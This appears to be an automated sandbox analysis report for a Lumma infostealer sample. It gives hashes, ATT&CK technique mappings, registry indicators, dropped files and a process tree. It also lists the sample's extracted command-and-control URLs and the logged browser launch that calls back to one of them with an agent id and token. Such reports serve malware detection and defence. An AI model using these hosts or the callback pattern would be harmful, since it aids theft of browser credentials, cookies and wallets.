lumma | 946088c86cc566e43809d71d99680a385af3e407c25e0834fe6ac6e0af549db3

Analysis

max time kernel
149s
max time network
135s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 16:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tmp_pgo6y2m.exe
Size 3.3MB
Sample260601-vdzdssay2s
SHA256 946088c86cc566e43809d71d99680a385af3e407c25e0834fe6ac6e0af549db3
MD5 383c8907fa1fdb98ecf1826879f30b45
SHA1 a5a36236deaabb6352a8ddf706002b4d6978ad61
SHA512 e53c638f72722ae6c6821fe1035657e71189abb1893d89c199e268d2b1ffcc1457010b2b424fcd1adde187c3927a68edab76f6ec67b8d3d9a54b1d3d7296d16c
SSDEEP 49152:u7QZZcjMY3Q6/M0WcPvuA7VsN0yOXnnbbQHy:lbcj7p/71PvuMs+y+noHy
TLSH
T1DBF53811FE8B44F2E5424E3140BFB72F6B3469098B355A9BEEA07D6CE973B50583264C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery lumma spyware stealer

Malware Config

Extracted

Family

lumma

https://milnleny.cyou
https://decrnoj.club/xxx
https://pomflgf.vu/help
https://carytui.vu/caccc
https://mushxhb.best/info
https://genugsq.best/main
https://ulmudhw.shop/create
https://strikql.shop/owner
https://longmbx.click/manifest

Attributes

build_id
4983d66969ed9c0e70bad96e055bad791bee

Signatures

Family: Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp_pgo6y2m.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3808	chrome.exe
3004	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134248063980494681"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1768642833-2142038154-4041560723-1000\{07B4768C-F093-4037-9BDD-1AE5071C94BC}	msedge.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
4212	chrome.exe
4212	chrome.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe
1528	tmp_pgo6y2m.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
1768	msedge.exe
1768	msedge.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe
Token: SeShutdownPrivilege	4212	chrome.exe
Token: SeCreatePagefilePrivilege	4212	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
4212	chrome.exe
1768	msedge.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1528 wrote to memory of 4212	1528	tmp_pgo6y2m.exe	83
PID 4212 wrote to memory of 4608	4212	chrome.exe	84
PID 4212 wrote to memory of 4832	4212	chrome.exe	85
PID 4212 wrote to memory of 4832	4212	chrome.exe	85
PID 4212 wrote to memory of 3808	4212	chrome.exe	86
PID 4212 wrote to memory of 1444	4212	chrome.exe	87
PID 4212 wrote to memory of 1444	4212	chrome.exe	87
PID 4212 wrote to memory of 4100	4212	chrome.exe	89
PID 4212 wrote to memory of 4100	4212	chrome.exe	89
PID 4212 wrote to memory of 2704	4212	chrome.exe	90
PID 4212 wrote to memory of 2704	4212	chrome.exe	90
PID 4212 wrote to memory of 4392	4212	chrome.exe	91
PID 4212 wrote to memory of 4392	4212	chrome.exe	91
PID 4212 wrote to memory of 5664	4212	chrome.exe	92
PID 1528 wrote to memory of 1768	1528	tmp_pgo6y2m.exe	94
PID 1768 wrote to memory of 3192	1768	msedge.exe	95
PID 1768 wrote to memory of 4456	1768	msedge.exe	96
PID 1768 wrote to memory of 3004	1768	msedge.exe	97
PID 1768 wrote to memory of 4456	1768	msedge.exe	96
PID 1768 wrote to memory of 4456	1768	msedge.exe	96
PID 1768 wrote to memory of 2360	1768	msedge.exe	98
PID 1768 wrote to memory of 2360	1768	msedge.exe	98
PID 1768 wrote to memory of 2220	1768	msedge.exe	100
PID 1768 wrote to memory of 3240	1768	msedge.exe	101
PID 1768 wrote to memory of 2220	1768	msedge.exe	100
PID 1768 wrote to memory of 2220	1768	msedge.exe	100
PID 1768 wrote to memory of 3240	1768	msedge.exe	101
PID 1768 wrote to memory of 3240	1768	msedge.exe	101
PID 1768 wrote to memory of 5008	1768	msedge.exe	102
PID 1768 wrote to memory of 5008	1768	msedge.exe	102
PID 1768 wrote to memory of 4728	1768	msedge.exe	103
PID 1768 wrote to memory of 3012	1768	msedge.exe	104
PID 1768 wrote to memory of 4728	1768	msedge.exe	103
PID 1768 wrote to memory of 3012	1768	msedge.exe	104
PID 1768 wrote to memory of 1248	1768	msedge.exe	106
PID 1768 wrote to memory of 960	1768	msedge.exe	107
PID 960 wrote to memory of 4196	960	msedge.exe	108
PID 1768 wrote to memory of 5228	1768	msedge.exe	109
PID 5228 wrote to memory of 3784	5228	msedge.exe	110

C:\Users\Admin\AppData\Local\Temp\tmp_pgo6y2m.exe
"C:\Users\Admin\AppData\Local\Temp\tmp_pgo6y2m.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" milnleny.cyou/api/set_agent?id=77AF85AABD24956701AEC7B30ADF174C&token=4983d66969ed9c0e70bad96e055bad791bee&description=&agent=Chrome
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffa0191c728,0x7ffa0191c734,0x7ffa0191c740
    3⤵
    PID:4608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,12184904421165050392,18308832877016499830,262144 --field-trial-handle=1972,i,17154288457935438932,7092006881754642683,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1968 /prefetch:2
    3⤵
    PID:4832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1460,i,2923153152397883492,1655460856675125397,524288 --field-trial-handle=1972,i,17154288457935438932,7092006881754642683,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2216 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,2792259251607139707,6555165871429004379,524288 --field-trial-handle=1972,i,17154288457935438932,7092006881754642683,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2400 /prefetch:13
    3⤵
    PID:1444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3160,i,16590023116770149627,7055441088998351530,2097152 --field-trial-handle=1972,i,17154288457935438932,7092006881754642683,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3172 /prefetch:1
    3⤵
    PID:4100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3176,i,5650450985324918601,7094325464009034109,2097152 --field-trial-handle=1972,i,17154288457935438932,7092006881754642683,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3196 /prefetch:1
    3⤵
    PID:2704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4304,i,16125173147425528166,2097606934283479981,2097152 --field-trial-handle=1972,i,17154288457935438932,7092006881754642683,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4316 /prefetch:9
    3⤵
    PID:4392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5256,i,9601274488556246771,8623252138131633136,524288 --field-trial-handle=1972,i,17154288457935438932,7092006881754642683,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5172 /prefetch:14
    3⤵
    PID:5664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" milnleny.cyou/api/set_agent?id=77AF85AABD24956701AEC7B30ADF174C&token=4983d66969ed9c0e70bad96e055bad791bee&description=&agent=Edge
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ffa0174c188,0x7ffa0174c194,0x7ffa0174c1a0
    3⤵
    PID:3192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1656,i,6787834231874031504,17939157027072955303,262144 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:2
    3⤵
    PID:4456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1768,i,2995591028804171225,9106819441834218739,524288 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3004
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2428,i,3478074089306118625,4432149892683545743,524288 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=2568 /prefetch:13
    3⤵
    PID:2360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3436,i,7128986326867976786,9220186697596499903,2097152 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
    3⤵
    PID:2220
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3440,i,4699807448733242348,4836349159092585774,2097152 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:1
    3⤵
    PID:3240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4756,i,5894219882595619805,1535482846923897378,524288 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:12
    3⤵
    PID:5008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4968,i,12421736884081554795,7665308139627267622,524288 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=5024 /prefetch:14
    3⤵
    PID:4728
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4988,i,1097128669024184138,14610817512455148477,524288 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:14
    3⤵
    PID:3012
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,6832973180443526468,1512122189096708216,524288 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:14
    3⤵
    PID:1792
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,6832973180443526468,1512122189096708216,524288 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:14
    3⤵
    PID:1248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6188,i,3105089001170872201,4486835888546477204,524288 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:14
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=1140
      4⤵
      PID:4196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6284,i,753029738792527273,17037797446084210388,524288 --field-trial-handle=2376,i,14348064984755686247,13559216802948900888,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:14
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=592
      4⤵
      PID:3784

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6024

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5272

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 9e3b3fc1b6fb10419d52e2f7a625d3f8c3201e4b639bbc65cd93c4b16ea730ac
MD5 0082e98aa769c47c268a0123294779f9
SHA1 c9e513a5d746251821f6e8722a92c38eaf663e4a
SHA512 41dd03b2bbe7c4e62b1455badcd2f279b9430f7b6e66b9cd566dbde6905a2463696724de54cdf7076f2790346920120e21f25bbab50169153d40d70e7cd903da
TLSH
T16FF0F9AAC930EC7718FC4B5920584B4BF74413573740495F3A3C960D4FB563B4696C6C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 9e603fdb9f2ed3776d9b353ece2025589fd6089afbc49b4ffa21025e01b5ee18
MD5 f962d248ef0a9693ea5027a842703283
SHA1 96a11a182dcae465b2b1e301e7a100caefff29c6
SHA512 7bb42365e847b74ccbd2f6eab003c4c919639660c846f555878b3419b6049f187eba245f4ae6ea7fda852b39f64a8663a05bc2a0ec285bc26622bf11a97ed2b6
SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2O6pX6dKvqXOVumdwkr:jeuvBnhJsueMEGvIW1DcP2OyCSVumdnr
TLSH
T134D3854B3A743102EDE5DA721CE050BB5D3CB16D8F55A5D428B620688EF2963A23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 46672c5a0d16ac530d2c1aa12632bbb0a01c7b5dc0ac764363661d8925e6b79a
MD5 e8249372dc708bda101286fe0e19bc7e
SHA1 cecfea6a046a540d4c487d82b3254e48f16f1c36
SHA512 0d0fa971d5a158e9666bfd620ef48607f1212a830c366dd1d76681641d02468ee3e810d709dc312a704a6bc76d8278d118bb9e2d7dc6a5d7dc664d78ce30dfff
SSDEEP 3072:uzWs4B7zxAQ0xVOnXTZpY3g9DzcU0/DlblAITog:MWDfxA3OnjrYQ9EU0/hEg
TLSH
T188C302A15D39BD660CB8EE98744C3F60BFF4AC9A91879DC362ED1B0C24FA5C81139970
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 90371bf7f2d9f3b60c0aa66ed89740cd725604cc541112971bd392e8746018f0
MD5 a9d241f865f7d582346ece871b98ee14
SHA1 c59a959f2a8673df7c09862b8f91a9e9492ec3cf
SHA512 4822e1484423dfa2530e9a541260d4dcddb675339b2e5fb22cf50c15d65cd0b147c7d94ff11a6d6523e90406c9ad88e5919ccc3fc5ec3b74cbfa28567977506e
TLSH
T1F3D01266374AB001E76D8230E4C2C311266654E038864A01B214C81D99A41D86293186
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
